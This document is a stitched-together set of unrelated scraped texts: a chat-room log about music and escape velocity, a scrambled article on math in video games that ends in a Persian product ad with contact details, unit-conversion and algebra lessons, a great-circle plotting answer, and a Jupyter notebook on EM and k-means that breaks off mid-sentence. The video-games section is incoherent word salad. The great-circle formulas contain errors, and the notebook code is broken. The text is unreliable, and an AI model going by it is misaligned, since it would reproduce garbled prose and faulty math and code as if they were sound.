are decipherable through tricks which is very helpful Just checking - never know with this lot ;). Haha Yeah, thats why Latin and Greek always look familiar. I feel like I ought to be able to read it - but I can't. @Abcd Balarka has forgotten what he is.. I often forget where I am... especially when I'm on the way to somewhere important..! Peter Gabriel was he in Talking Heads? Haha, good catch The tune sounds like it's coming from Talking Heads But no, not really :P I really like the album "Melt", from where this song is. well, this is enough for for a day i.gyazo.com/51d06bd59617cde783058c988cbf997b.png time to procrastinate Hmm, I need to compute those how does that actually work oh, stereographic projection @BalarkaSen: I like the album cover. @Semiclassical hola 6:29 PM @MoziburUllah Me too @BalarkaSen: I'll give him a spin some time soon - I'd forgotten his name, glad you reminded me. No problem! Feel free to talk to me about weird music, weird movies and weird math - those three are my specializations :P Cool! You ever heard of the Cocteau twins? Anonymous @BalarkaSen You're forgetting the most important specialization. Weird books? Weird Physics? Weird people? Anonymous 6:32 PM MAYMAYS weird physics is @Slereah Being specialized in weird memes is not a thing you'd want to put on your CV Its a thing I'd like to put on my CV! @BalarkaSen wait are you saying i should remove it??? @BalarkaSen I should ask Morwen if he knows any memes Anonymous 6:34 PM @BalarkaSen Being interested in "weird music, weird movies and weird math is also not something you should be putting in your CV :P HP Lovecraft! A Hundred Years of Solitude! Lorca! Neruda! Love Marquez and Neruda @Blue fok normies The last two are poets. I write sometimes. But I won't inflict any of stuff on you guys...unless I'm in abd mood. Hah 6:37 PM I've tried, once some time ago, but I couldn't get into it - it seemed to heiratic. Hah? Now I'm in a bad mood! ;). What do you mean by Borges being heiratic? @BalarkaSen weird music eh? love dis Maybe I should give it another go. I couldn't get into Marquez's A hundred Years of Solitude, but a couple of weeks ago I opened it up and found myself liking it. @BalarkaSen: not sure - but its a cool word to throw around... Sort of hermeneutic...;). @BalarkaSen if you think i'm a weirdo bandwagoner though you're wrong i loved that since like 2013 still my jam BEFORE it was cool to be weird I like the opening static... 6:41 PM @MoziburUllah lmao my fav part is 6:35 Have fun Imao? loling my ass off @ooolb: Now thats weird ;). 6:42 PM What does "infinitely" away from earth mean :/ ? What's the use of calculating escape speeds? i know merzbow @0celo7 laughing* @BalarkaSen i'm a noise junkie this is nothing are you sure? loling makes more sense @ooolb Oh nice 6:43 PM 'abcd:far away from the earth so you neglect the earths gravitational field... Anonymous I feel lol is going to enter the Oxford dictionary soon Somehow the word 'noise' crept into my mind too... or LOL @MoziburUllah what's the use of calculating escape speeds? It just seems meaningless to me. because if you don't escape you're simply in orbit around the earth. Anonymous @MoziburUllah I mean as a real word, not an acronym. ;) 6:45 PM @BalarkaSen to be fair you have to have a really high iq to appreciate noise music the symphonics is incredibly subtle @ooolb: you ever heard of Spaceman 3? @MoziburUllah Do you know a good reference for TQFTs? I'd like to save it for future purposes Not an encyclopedic reference, more of a panoramic one @BalarkaSen i started listening to noise cuz since i was a synesthete sometimes i just wanted to drown out everything where normal songs always had distinct shapes or colours noise was a clusterfuck in my head relaxing @MoziburUllah Why do people care about sun's escape speed from the earth? 6:47 PM @balarka sen: Have you heard of John Baezs TWF? He's pretty good for the paranomic view. Yeah I have read isolated articles from it I shall try it I have to go for a while now. Be back in a while Ok. Cheerio. @abcd: The earths chasing the sun - who knew! Spaceman 3 was my first introduction to noise music. Transparent radiation was intoned over spacy static. i mainly only listen to aube because I love his style and he has like 30000 songs so i don't run out Holy Jesus! 30,000! it figures ;). I played this once to some hip-hop guys and there were like...!!!! Actually, it does sound symphonic... I'm listening to it now. Takes me back. @abcd: the earths not escaping from the sun - its in orbit. that's not noise buddy that's ambient 6:59 PM @ooolb what is your profile pic supposed to be a cute anime girl rei ayanami	{}
# math in video games Since it's so easy to learn how to play a video game, kids now have become fans of electronic games as well. Unfortunately, things are not as easy as working out where Billy-Joe's rocks are. I can now give you a vector and you'll be able to Answer to Question 5 [Make your own graph] Here is one way to do it, but this isn't necessarily the only way to do it. The way we do it is by saying that the velocity is only changing very slightly over very small amounts of time. To support this aim, members of the Online resources don’t replace manipulatives or other hand-held models, but they provide a nice complement to them. Understanding math in video games can make your life as a developer a lot easier and help you create more exciting projects. descriptions of the world, using curved surfaces, NURBS and other strange sounding things, however in the end it always reduces to triangles. This makes the rest of the calculations much easier. Understanding Procedural Rhetoric in Gaming, Gaming On A Mac: The Pros, Cons, and Verdict. University of Cambridge. One confusing thing about vectors is that they are sometimes used to represent a point, and sometimes they are used to represent a direction. Time on task. Some of these math videos feature actual math teachers providing step-by-step examples to help children solve problems. Suppose the wind causes the bullet to have an additional acceleration of $\mathbf{w}$, and Coolmath Games is a brain-training site, for everyone, where logic & thinking & math meets fun & games. Without math, games wouldn’t be what they are. Once you have created a graph for a given map, the computer has to go through the following steps to guide the troops. Math Game Time’s free math videos incorporate both learning and fun. Math Games offers online games and printable worksheets to make learning math fun. In the room he is painting, there is a wooden chest. For the plane, things are even more complicated. Without math, games wouldn’t be what they are. Here is a picture of what this looks like. In fact, sometimes you can't find the intersection, because they don't meet and sometimes the line is inside the plane so they meet at every point on the line , but this doesn't happen in the cases we're interested in. The newest computer games are using more complicated This acceleration is the same for every object on Earth, and if the y-direction is upwards, then the acceleration is $\mathbf{g}=(0,-9.81,0)$. Cramming is a tedious, yet necessary task when it comes to learning the algorithms needed to solve math problems. 1. Support math instruction with fun video game themed multiplication and division coloring pages. We do the same for the y- and z-directions. It's a (free!) Now you know all you need to know to be able to understand path finding. What you'll learn. Math Match Game Test your memory AND your math skills all in one game! The answer is $(1,7,3)$ because we add the vector $(0,5,0)$ to move 5 in the y-direction, and $(1,2,3)+(0,5,0)=(1,7,3)$. This is the first Math for Game Developers and it focuses on moving a character around using vectors and points.Behind on your algebra and trigonometry? Math Videos Advertisement \| Go Ad-Free Step by Step Explanations Place Value. $4+0.8 \times -9.81 = -3.848$, so at $t=1.0$ the position will be $0.8508-3.848 \times 0.2 = 0.0812$. If Billy-Joe wasn't in space, the problem would be much harder, because every object on Earth is pulled downwards by an acceleration caused by gravity . So now the acceleration is $\mathbf{g}+\mathbf{w}-k\mathbf{v}$: in other words, the acceleration is changing as well as the velocity! There are some complications. This category has the following 11 subcategories, out of 11 total. You have to choose the costs carefully to make sure this sort of problem is solved in the best possible way. (c) $\|(4,2,4)\|=\sqrt{4^2+2^2+4^2}=\sqrt{16+4+16}=\sqrt{36}=6$. Secondly, it removes all the triangles you can't see Therefore, at time $t=0.2$, the rock will be at position $0+4 \times 0.2=0.8$. Secondly, he has to work out the node which is nearest to his destination is (making sure he can walk from that node to the destination in a straight line Examples of this sort of game include Doom, Quake, Half Life, Unreal or Goldeneye. Physics is one of the hardest bits in making computer games. 6th Grade. Billy-Joe decides to throw his rock at Arthur. From having the ability to calculate the trajectory of an Angry Bird flying through the sky to ensuring that character jumps and lands back on the ground. How does all this stuff about graphs help the computer guide troops around levels? of course!). One Categories: Addition Subtraction Multiplication Division Exponentiation Square Root Now download and play for free! The exception is the Nintendo 64, which has hardware anti-aliasing built-in. All rights reserved. These are educational video games intended for children between the ages of 3 and 17. You need to know how math is used in video games because it is an integral part of any game that allows players to throw projectiles, fire bullets and have enemies with artificial intelligence, and the list goes on. So if you're interested in programming games and Picture of a vector and directions There are lots of different types of computer games, and I'll talk about how maths is used in some of the following examples: There are some exercises which you can do (if you want) throughout this article. : English, Czech, French, German, Italian, Polish, Portuguese,,... Do have a go at solving them on your own first, which has hardware anti-aliasing.... [ Auto ] add to cart to use this to work out things wind... { x } $too long to do can just skip through until you get to a point semester FRM. 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To begin to explain how these games work, you can just skip through until you get to something interesting. Game of all line ( called Connect 4 '' by Hasbro ) Chess the most amazing things FPS... ) to the right, and ends up with a picture of what this looks like with colours in. Or physics library needed to solve math problems a tedious, yet necessary task when it to., Gaming on a Mac: the Pros, Cons, and mathematical and Verdict graph with edges... { x } $solve problems be solved using the method above, where logic & thinking & meets... \Times -9.81 = 2.038$ projection on to a math calculation of some sort trigonometry, statistics,.... Something about as complicated as what i described above is similar to what the nearest node he. جهت استعلام قیمت، خرید و فروش این محصول می توانید با کارشناس فروش شرکت در ارتباط باشید: مهندس سامان بیگدلی راه های ارتباطی: شماره موبایل: 09169115071 پست الکترونیکی: Info.arad8@gmail.com	{}
Q: # How many litres are in a tonne? A: The number of liters in a ton depends on the density of the liquid, because liters are units of volume and tons are units of mass. For water, 1000 liters would make up a ton. ## Keep Learning One must use the density of the liquid to convert a ton to the number of liters. A ton represents 1000 kilograms, so one can divide 1000 kilograms by the density of the liquid in the units of kilograms/liters to get the number of liters. For example, with water, the density is 1 kilogram/liter, so the number of liters of water in a ton is (1000 kilograms / (1 kilogram/liter)) = 1000 liters. A similar calculation can be done for other liquids with different densities to calculate number of liters. Sources: ## Related Questions • A: A cubic meter is a unit of volume, while a tonne is a unit of mass. Thus, the amount of volume required to equal 1 ton of mass depends entirely upon the density of the substance measured. For example, a cubic meter of water at roughly 4 degrees Celsius weighs 1 tonne. A tonne, also known as a metric ton, equals 1000 kilograms, or nearly 2,204 pounds. Filed Under: • A: A standard oil barrel holds 42 gallons or approximately 159 litres of crude oil. Using the industry standard "barrel of oil equivalent" (BOE), a barrel of crude oil is said to be equal to 6,000 cubic feet of natural gas with an energy equivalent of 1,700 kilowatt hours. Filed Under: • A: The number of fluid ounces in a pound depends on what liquid you are measuring. For instance, 16 fluid ounces of olive oil weighs 0.95 pounds. The same volume of water weighs 1.04 pounds. Filed Under: • A: The formula for density, which is mass divided by volume, can be manipulated to have the volume as the unknown. Given the mass and the density, the volume can be found by dividing the mass by the density.	{}
# Equirectangular great circles Is there a function or set of functions that I can use to graph the great circle of any two points on an equirectangular map? I can translate the x,y coordinates from the map to latitude and longitude and understand that the great circle distance is the length of the arc of the center angle at the radius, but I am having problems figuring out how I can graph the circle onto the rest of the map. Can you transfer from lat/lon to xy as well? Let's assume you can. Step 1: Start with two distinct points, $P$ and $Q$, that are not antipodal. Step 2: Convert to lat/lon. Step 3: Convert to vector form (i.e., a triple $x, y, z$ in 3-space) Step 4: Find a basis $b_1, b_2$ for the plane they span. Step 5: For $a = 0$ to $360$ degrees, generate $\cos(a) b_1 + \sin(a) b_2$ as a vector. Step 6: Convert each of these vector triples to a lat-lon pair, and then to xy. Step 7: Connect the dot of the resulting xy points. Details: Step 3: If the latitude is $s$ and longitude is $t$, the vector form of your point is $$\begin{bmatrix} \sin(s) \cos t\\ \cos(s) \\ \sin(s) \sin t \end{bmatrix}$$. Step 4: Given two vector-form points $u$ and $v$, let $b_1 = u$ and then do the following: Compute $r = u_x v_x + u_y v_y + u_z v_z$, where $u_x, u_y,$ and $u_z$ denote the first, second, and third entries of $u$, respectively, and similarly for $v$. Let $$h = \begin{bmatrix} u_x - r v_x\\ u_y - r v_y\\ u_z - r v_z \end{bmatrix}$$. Then let $c = \sqrt{h_x^2 + h_y^2 + h_z^2}$, and let $$b_2 = \begin{bmatrix} h_x/s\\ h_y/s\\ h_z/s \end{bmatrix}$$. Step 5: By "generate as a vector, " I mean, compute the vector $$k = \begin{bmatrix} \cos(a) b_{1,x} + \sin(a) b_{2,x}\\ \cos(a) b_{1,y} + \sin(a) b_{2,y}\\ \cos(a) b_{1,z} + \sin(a) b_{2,z} \end{bmatrix}.$$ Step 6: To convert $k$ back to lat/long form, do the following: $$lat = \arccos(k_y)\\ long = \text{atan2}(k_x, k_z)$$	{}
# 10.5 Solving Quadratic Equations Using Substitution Factoring trinomials in which the leading term is not 1 is only slightly more difficult than when the leading coefficient is 1. The method used to factor the trinomial is unchanged. Example 10.5.1 Solve for $x$ in $x^4 - 13x^2 + 36 = 0$. First start by converting this trinomial into a form that is more common. Here, it would be a lot easier when factoring $x^2 - 13x + 36 = 0.$ There is a standard strategy to achieve this through substitution. First, let $u = x^2$. Now substitute $u$ for every $x^2$, the equation is transformed into $u^2-13u+36=0$. $u^2 - 13u + 36 = 0$ factors into $(u - 9)(u - 4) = 0$. Once the equation is factored, replace the substitutions with the original variables, which means that, since $u = x^2$, then $(u - 9)(u - 4) = 0$ becomes $(x^2 - 9)(x^2 - 4) = 0$. To complete the factorization and find the solutions for $x$, then $(x^2 - 9)(x^2 - 4) = 0$ must be factored once more. This is done using the difference of squares equation: $a^2 - b^2 = (a + b)(a - b)$. Factoring $(x^2 - 9)(x^2 - 4) = 0$ thus leaves $(x - 3)(x + 3)(x - 2)(x + 2) = 0$. Solving each of these terms yields the solutions $x = \pm 3, \pm 2$. This same strategy can be followed to solve similar large-powered trinomials and binomials. Example 10.5.2 Factor the binomial $x^6 - 7x^3 - 8 = 0$. Here, it would be a lot easier if the expression for factoring was $x^2 - 7x - 8 = 0$. First, let $u = x^3$, which leaves the factor of $u^2 - 7u - 8 = 0$. $u^2 - 7u - 8 = 0$ easily factors out to $(u - 8)(u + 1) = 0$. Now that the substituted values are factored out, replace the $u$ with the original $x^3$. This turns $(u - 8)(u + 1) = 0$ into $(x^3 - 8)(x^3 + 1) = 0$. The factored $(x^3 - 8)$ and $(x^3 + 1)$ terms can be recognized as the difference of cubes. These are factored using $a^3 - b^3 = (a - b)(a^2 + ab + b^2)$ and $a^3 + b^3 = (a + b)(a^2 - ab + b^2)$. And so, $(x^3 - 8)$ factors out to $(x - 2)(x^2 + 2x + 4)$ and $(x^3 + 1)$ factors out to $(x + 1)(x^2 - x + 1)$. Combining all of these terms yields: $(x - 2)(x^2 + 2x + 4)(x + 1)(x^2 - x + 1) = 0$ The two real solutions are $x = 2$ and $x = -1$. Checking for any others by using the discriminant reveals that all other solutions are complex or imaginary solutions. # Questions Factor each of the following polynomials and solve what you can. 1. $x^4-5x^2+4=0$ 2. $y^4-9y^2+20=0$ 3. $m^4-7m^2-8=0$ 4. $y^4-29y^2+100=0$ 5. $a^4-50a^2+49=0$ 6. $b^4-10b^2+9=0$ 7. $x^4+64=20x^2$ 8. $6z^6-z^3=12$ 9. $z^6-216=19z^3$ 10. $x^6-35x^3+216=0$	{}
# Chapter 4 - 4.4 - Translations of Conics - 4.4 Exercises - Page 347: 7 Circle shifted two units left and one unit up #### Work Step by Step This conic is a circle. Notice from the graph that the center of the circle is shifted 2 left and 1 up. This can be verified from the equation. $(x+2)^2+(y-1)^2=4$ The $(x+2)$ means that the center is shifted two units left (across the x-axis). The $(y-1)$ means that the center is shifted up one unit (up the y-axis). After you claim an answer you’ll have 24 hours to send in a draft. An editor will review the submission and either publish your submission or provide feedback.	{}
In [1]: %load_ext watermark import warnings warnings.filterwarnings("ignore") from IPython.core.display import display, HTML import time import pandas as pd import numpy as np import scipy.stats as scs from scipy.stats import multivariate_normal as mvn import sklearn.mixture as mix import matplotlib as mpl import matplotlib.pyplot as plt import seaborn as sns %matplotlib inline %watermark 2017-03-20T15:17:07-06:00 CPython 3.6.0 IPython 5.1.0 compiler : GCC 4.4.7 20120313 (Red Hat 4.4.7-1) system : Linux release : 4.4.0-66-generic machine : x86_64 processor : x86_64 CPU cores : 8 interpreter: 64bit In [2]: %watermark -p pandas,numpy,scipy,sklearn,matplotlib,seaborn pandas 0.19.2 numpy 1.12.1 scipy 0.19.0 sklearn 0.18.1 matplotlib 2.0.0 seaborn 0.7.1 ### First a little history on E-M¶ Reference: 4 Demptser, Laird & Rubin (1977) -unified previously unrelated work under "The EM Algorithm" - unified previously unrelated work under "The EM Algorithm" - overlooked E-M works - see gaps between foundational authors - Newcomb (1887) - McKendrick (1926) [+39 years] - Hartley (1958) [+32 years] - Baum et. al. (1970) [+12 years] - Dempters et. al. (1977) [+7 years] ## EM provides general framework for solving problems¶ Examples include: - Filling in missing data from a sample set - Discovering values of latent variables - Estimating parameters of HMMs - Estimating parameters of finite mixtures [models] - Unsupervised learning of clusters - etc... ### How does the EM algorithm work?¶ EM is an iterative process that begins with a "naive" or random initialization and then alternates between the expectation and maximization steps until the algorithm reaches convergence. To describe this in words imagine we have a simple data set consisting of class heights with groups separated by gender. In [3]: # import class heights f = 'https://raw.githubusercontent.com/BlackArbsCEO/Mixture_Models/K-Means%2C-E-M%2C-Mixture-Models/Class_heights.csv' # data.info() height = data['Height (in)'] data Out[3]: Gender Height (in) 0 Male 72 1 Male 72 2 Female 63 3 Female 62 4 Female 62 5 Male 73 6 Female 64 7 Female 63 8 Female 67 9 Male 71 10 Male 72 11 Female 63 12 Male 71 13 Female 67 14 Female 62 15 Female 63 16 Male 66 17 Female 60 18 Female 68 19 Female 65 20 Female 64 Now imagine that we did not have the convenient gender labels associated with each data point. How could we estimate the two group means? First let's set up our problem. In this example we hypothesize that these height data points are drawn from two distributions with two means - < $\mu_1$, $\mu_2$ >. The heights are the observed $x$ values. The hidden variables, which EM is going to estimate, can be thought of in the following way. Each $x$ value has 2 associated $z$ values. These $z$ values < $z_1$, $z_2$ > represent the distribution (or class or cluster) that the data point is drawn from. Understanding the range of values the $z$ values can take is important. In k-means, the two $z$'s can only take the values of 0 or 1. If the $x$ value came from the first distribution (cluster), then $z_1$=1 and $z_2$=0 and vice versa. This is called hard clustering. In Gaussian Mixture Models, the $z$'s can take on any value between 0 and 1 because the x values are considered to be drawn probabilistically from 1 of the 2 distributions. For example $z$ values can be $z_1$=0.85 and $z_2$>=0.15, which represents a strong probability that the $x$ value came from distribution 1 and smaller probability that it came from distribution 2. This is called soft or fuzzy clustering. For this example, we will assume the x values are drawn from Gaussian distributions. To start the algorithm, we choose two random means. From there we repeat the following until convergence. #### The expectation step:¶ We calculate the expected values $E(z_{ij})$, which is the probability that $x_i$ was drawn from the $jth$ distribution. $$E(z_{ij}) = \frac{p(x = x_i\|\mu = \mu_j)}{\sum_{n=1}^2 p(x = x_i\|\mu = \mu_j)}$$$$= \frac{ e^{-\frac{1}{2\sigma^2}(x_i - \mu_j)^2} } { \sum_{n=1}^2e^{-\frac{1}{2\sigma^2}(x_i - \mu_n)^2} }$$ The formula simply states that the expected value for $z_{ij}$ is the probability $x_i$ given $\mu_j$ divided by the sum of the probabilities that $x_i$ belonged to each $\mu$ #### The maximization step:¶ After calculating all $E(z_{ij})$ values we can calculate (update) new $\mu$ values. $$\mu_j = \frac {\sum_{i=1}^mE(z_{ij})x_i} {\sum_{i=1}^mE(z_{ij})}$$ This formula generates the maximum likelihood estimate. By repeating the E-step and M-step we are guaranteed to find a local maximum giving us a maximum likelihood estimation of our hypothesis. ### What are Maximum Likelihood Estimates (MLE)¶ 1. Parameters describe characteristics (attributes) of a population. These parameter values are estimated from samples collected from that population. 2. A MLE is a parameter estimate that is most consistent with the sampled data. By definition it maximizes the likelihood function. One way to accomplish this is to take the first derivative of the likelihood function w/ respect to the parameter theta and solve for 0. This value maximizes the likelihood function and is the MLE ### A quick example of a maximum likelihood estimate¶ #### What's the MLE of observing 3 heads in 10 trials?¶ The frequentist MLE is (# of successes) / (# of trials) or 3/10 #### solving first derivative of binomial distribution answer:¶ \begin{align} \mathcal L(\theta) & = {10 \choose 3}\theta^3(1-\theta)^7 \\[1ex] log\mathcal L(\theta) & = log{10 \choose 3} + 3log\theta + 7log(1 - \theta) \\[1ex] \frac{dlog\mathcal L(\theta)}{d(\theta)} & = \frac 3\theta - \frac{7}{1-\theta} = 0 \\[1ex] \frac 3\theta & = \frac{7}{1 - \theta} \Rightarrow \frac{3}{10} \end{align} #### That's a MLE! This is the estimate that is most consistent with the observed data¶ Back to our height example. Using the generalized Gaussian mixture model code sourced from Duke's computational statistics we can visualize this process. In [4]: # Code sourced from: # http://people.duke.edu/~ccc14/sta-663/EMAlgorithm.html def em_gmm_orig(xs, pis, mus, sigmas, tol=0.01, max_iter=100): n, p = xs.shape k = len(pis) ll_old = 0 for i in range(max_iter): print('\nIteration: ', i) print() exp_A = [] exp_B = [] ll_new = 0 # E-step ws = np.zeros((k, n)) for j in range(len(mus)): for i in range(n): ws[j, i] = pis[j] * mvn(mus[j], sigmas[j]).pdf(xs[i]) ws /= ws.sum(0) # M-step pis = np.zeros(k) for j in range(len(mus)): for i in range(n): pis[j] += ws[j, i] pis /= n mus = np.zeros((k, p)) for j in range(k): for i in range(n): mus[j] += ws[j, i] * xs[i] mus[j] /= ws[j, :].sum() sigmas = np.zeros((k, p, p)) for j in range(k): for i in range(n): ys = np.reshape(xs[i]- mus[j], (2,1)) sigmas[j] += ws[j, i] * np.dot(ys, ys.T) sigmas[j] /= ws[j,:].sum() new_mus = (np.diag(mus)[0], np.diag(mus)[1]) new_sigs = (np.unique(np.diag(sigmas[0]))[0], np.unique(np.diag(sigmas[1]))[0]) df = (pd.DataFrame(index=[1, 2]).assign(mus = new_mus).assign(sigs = new_sigs)) xx = np.linspace(0, 100, 100) yy = scs.multivariate_normal.pdf(xx, mean=new_mus[0], cov=new_sigs[0]) colors = sns.color_palette('Dark2', 3) fig, ax = plt.subplots(figsize=(9, 7)) ax.set_ylim(-0.001, np.max(yy)) ax.plot(xx, yy, color=colors[1]) ax.axvline(new_mus[0], ymin=0., color=colors[1]) ax.fill_between(xx, 0, yy, alpha=0.5, color=colors[1]) lo, hi = ax.get_ylim() ax.annotate(f'$\mu_1$: {new_mus[0]:3.2f}', fontsize=12, fontweight='demi', xy=(new_mus[0], (hi-lo) / 2), xycoords='data', xytext=(80, (hi-lo) / 2), ax.fill_between(xx, 0, yy, alpha=0.5, color=colors[2]) yy2 = scs.multivariate_normal.pdf(xx, mean=new_mus[1], cov=new_sigs[1]) ax.plot(xx, yy2, color=colors[2]) ax.axvline(new_mus[1], ymin=0., color=colors[2]) lo, hi = ax.get_ylim() ax.annotate(f'$\mu_2$: {new_mus[1]:3.2f}', fontsize=12, fontweight='demi', xy=(new_mus[1], (hi-lo) / 2), xycoords='data', xytext=(25, (hi-lo) / 2), ax.fill_between(xx, 0, yy2, alpha=0.5, color=colors[2]) dot_kwds = dict(markerfacecolor='white', markeredgecolor='black', markeredgewidth=1, markersize=10) ax.plot(height, len(height)[0], 'o', dot_kwds) ax.set_ylim(-0.001, np.max(yy2)) print(df.T) # update complete log likelihoood ll_new = 0.0 for i in range(n): s = 0 for j in range(k): s += pis[j] mvn(mus[j], sigmas[j]).pdf(xs[i]) ll_new += np.log(s) print(f'log_likelihood: {ll_new:3.4f}') if np.abs(ll_new - ll_old) < tol: break ll_old = ll_new return ll_new, pis, mus, sigmas In [5]: height = data['Height (in)'] n = len(height) # Ground truthish _mus = np.array([[0, data.groupby('Gender').mean().iat[0, 0]], [data.groupby('Gender').mean().iat[1, 0], 0]]) _sigmas = np.array([[[5, 0], [0, 5]], [[5, 0],[0, 5]]]) _pis = np.array([0.5, 0.5]) # priors # initial random guesses for parameters np.random.seed(0) pis = np.random.random(2) pis /= pis.sum() mus = np.random.random((2,2)) sigmas = np.array([np.eye(2)] * 2) * height.std() # generate our noisy x values xs = np.concatenate([np.random.multivariate_normal(mu, sigma, int(pin)) for pi, mu, sigma in zip(_pis, _mus, _sigmas)]) ll, pis, mus, sigmas = em_gmm_orig(xs, pis, mus, sigmas) # In the below plots the white dots represent the observed heights. Iteration: 0 1 2 mus 61.362928 59.659685 sigs 469.240750 244.382352 log_likelihood: -141.8092 Iteration: 1 1 2 mus 68.73773 63.620554 sigs 109.85442 7.228183 log_likelihood: -118.0520 Iteration: 2 1 2 mus 70.569842 63.688825 sigs 4.424452 3.139277 log_likelihood: -100.2591 Iteration: 3 1 2 mus 70.569842 63.688825 sigs 4.424427 3.139278 log_likelihood: -100.2591 ### Now that we have a grasp of the algorithm we can examine K-Means as a form of EM¶ K-Means is an unsupervised learning algorithm used for clustering multidimensional data sets. The basic form of K-Means makes two assumptions 1. Each data point is closer to its own cluster center than the other cluster centers 2. A cluster center is the arithmetic mean of all the points that belong to the cluster. The expectation step is done by calculating the pairwise distances of every data point and assigning cluster membership to the closest center (mean) The maximization step is simply the arithmetic mean of the previously assigned data points for each cluster #### The following sections borrow heavily from Jake Vanderplas' Python Data Science Handbook¶ In [6]: # Let's define some demo variables and make some blobs # demo variables k = 4 n_draws = 500 sigma = .7 random_state = 0 dot_size = 50 cmap = 'viridis' In [7]: # make blobs from sklearn.datasets.samples_generator import make_blobs X, y_true = make_blobs(n_samples = n_draws, centers = k, cluster_std = sigma, random_state = random_state) fig, ax = plt.subplots(figsize=(9,7)) ax.scatter(X[:, 0], X[:, 1], s=dot_size) plt.title('k-means make blobs', fontsize=18, fontweight='demi') Out[7]: <matplotlib.text.Text at 0x7ff996530908> In [8]: # sample implementation # code sourced from: # http://nbviewer.jupyter.org/github/jakevdp/PythonDataScienceHandbook/blob/master/notebooks/05.11-K-Means.ipynb from sklearn.metrics import pairwise_distances_argmin def find_clusters(X, n_clusters, rseed=2): # 1. Random initialization (choose random clusters) rng = np.random.RandomState(rseed) i = rng.permutation(X.shape[0])[:n_clusters] centers = X[i] while True: # 2a. Assign labels based on closest center labels = pairwise_distances_argmin(X, centers) # 2b. Find new centers from means of points new_centers = np.array([X[labels == i].mean(0) for i in range(n_clusters)]) # 2c. Check for convergence if np.all(centers == new_centers): break centers = new_centers return centers, labels In [9]: # let's test the implementation centers, labels = find_clusters(X, k) fig, ax = plt.subplots(figsize=(9,7)) ax.scatter(X[:, 0], X[:, 1], c=labels, s=dot_size, cmap=cmap) plt.title('find_clusters() k-means func', fontsize=18, fontweight='demi') Out[9]: <matplotlib.text.Text at 0x7ff9964cd0b8> In [10]: # now let's compare this to the sklearn's KMeans() algorithm # fit k-means to blobs from sklearn.cluster import KMeans kmeans = KMeans(n_clusters=k) kmeans.fit(X) y_kmeans = kmeans.predict(X) # visualize prediction fig, ax = plt.subplots(figsize=(9,7)) ax.scatter(X[:, 0], X[:, 1], c=y_kmeans, s=dot_size, cmap=cmap) # get centers for plot centers = kmeans.cluster_centers_ ax.scatter(centers[:, 0], centers[:, 1], c='black', s=200, alpha=0.75) plt.title('sklearn k-means', fontsize=18, fontweight='demi') Out[10]: <matplotlib.text.Text at 0x7ff9963e9b00> #### To build our intuition of this process, play with the following interactive code from Jake Vanderplas in an Jupyter (IPython) notebook¶ In [11]: # code sourced from: # http://nbviewer.jupyter.org/github/jakevdp/PythonDataScienceHandbook/blob/master/notebooks/06.00-Figure-Code.ipynb#Covariance-Type from ipywidgets import interact def plot_kmeans_interactive(min_clusters=1, max_clusters=6): X, y = make_blobs(n_samples=300, centers=4, random_state=0, cluster_std=0.60) def plot_points(X, labels, n_clusters): plt.scatter(X[:, 0], X[:, 1], c=labels, s=50, cmap='viridis', vmin=0, vmax=n_clusters - 1); def plot_centers(centers): plt.scatter(centers[:, 0], centers[:, 1], marker='o', c=np.arange(centers.shape[0]), s=200, cmap='viridis') plt.scatter(centers[:, 0], centers[:, 1], marker='o', c='black', s=50) def _kmeans_step(frame=0, n_clusters=4): rng = np.random.RandomState(2) labels = np.zeros(X.shape[0]) centers = rng.randn(n_clusters, 2) nsteps = frame // 3 for i in range(nsteps + 1): old_centers = centers if i < nsteps or frame % 3 > 0: labels = pairwise_distances_argmin(X, centers) if i < nsteps or frame % 3 > 1: centers = np.array([X[labels == j].mean(0) for j in range(n_clusters)]) nans = np.isnan(centers) centers[nans] = old_centers[nans] # plot the data and cluster centers plot_points(X, labels, n_clusters) plot_centers(old_centers) # plot new centers if third frame if frame % 3 == 2: for i in range(n_clusters): plt.annotate('', centers[i], old_centers[i], arrowprops=dict(arrowstyle='->', linewidth=1)) plot_centers(centers) plt.xlim(-4, 4) plt.ylim(-2, 10) if frame % 3 == 1: plt.text(3.8, 9.5, "1. Reassign points to nearest centroid", ha='right', va='top', size=14) elif frame % 3 == 2: plt.text(3.8, 9.5, "2. Update centroids to cluster means", ha='right', va='top', size=14) return interact(_kmeans_step, frame=[0, 50], n_clusters=[min_clusters, max_clusters]) plot_kmeans_interactive(); ### the globally optimal result is not guaranteed¶ - EM is guaranteed to improve the result in each iteration but there are no guarantees that it will find the global best. See the following example, where we initalize the algorithm with a different seed. ### practical solution:¶ - Run the algorithm w/ multiple random initializations - This is done by default in sklearn In [12]: centers, labels = find_clusters(X, k, rseed=11) fig, ax = plt.subplots(figsize=(9,7)) ax.set_title('sub-optimal clustering', fontsize=18, fontweight='demi') ax.scatter(X[:, 0], X[:, 1], c=labels, s=dot_size, cmap=cmap) Out[12]: <matplotlib.collections.PathCollection at 0x7ff99466bf60> ### number of means (clusters) have to be selected beforehand¶ - k-means cannot learn the optimal number of clusters from the data. If we ask for six clusters it will find six clusters, which may or may not be meaningful. ### practical solution:¶ - use a more complex clustering algorithm like Gaussian Mixture Models, or one that can choose a suitable number of clusters (DBSCAN, mean-shift, affinity propagation) In [13]: labels6 = KMeans(6, random_state=random_state).fit_predict(X) fig, ax = plt.subplots(figsize=(9,7)) ax.set_title('too many clusters', fontsize=18, fontweight='demi') ax.scatter(X[:, 0], X[:, 1], c=labels6, s=dot_size, cmap=cmap) Out[13]: <matplotlib.collections.PathCollection at 0x7ff9946056a0> ### k-means is terrible for non-linear data:¶ - this results because of the assumption that points will be closer to their own cluster center than others ### practical solutions:¶ - transform data into higher dimension where linear separation is possible e.g., spectral clustering In [14]: from sklearn.datasets import make_moons X_mn, y_mn = make_moons(500, noise=.07, random_state=random_state) labelsM = KMeans(2, random_state=random_state).fit_predict(X_mn) fig, ax = plt.subplots(figsize=(9,7)) ax.set_title('linear separation not possible', fontsize=18, fontweight='demi') ax.scatter(X_mn[:, 0], X_mn[:, 1], c=labelsM, s=dot_size, cmap=cmap) Out[14]: <matplotlib.collections.PathCollection at 0x7ff994520048> In [15]: from sklearn.cluster import SpectralClustering model = SpectralClustering(n_clusters=2, affinity='nearest_neighbors', assign_labels='kmeans') labelsS = model.fit_predict(X_mn) fig, ax = plt.subplots(figsize=(9,7)) ax.set_title('kernal transform to higher dimension\nlinear separation is possible', fontsize=18, fontweight='demi') plt.scatter(X_mn[:, 0], X_mn[:, 1], c=labelsS, s=dot_size, cmap=cmap) Out[15]: <matplotlib.collections.PathCollection at 0x7ff99471b128> ### K-Means is known as a hard clustering algorithm because clusters are not allowed to overlap.¶ "One way to think about the 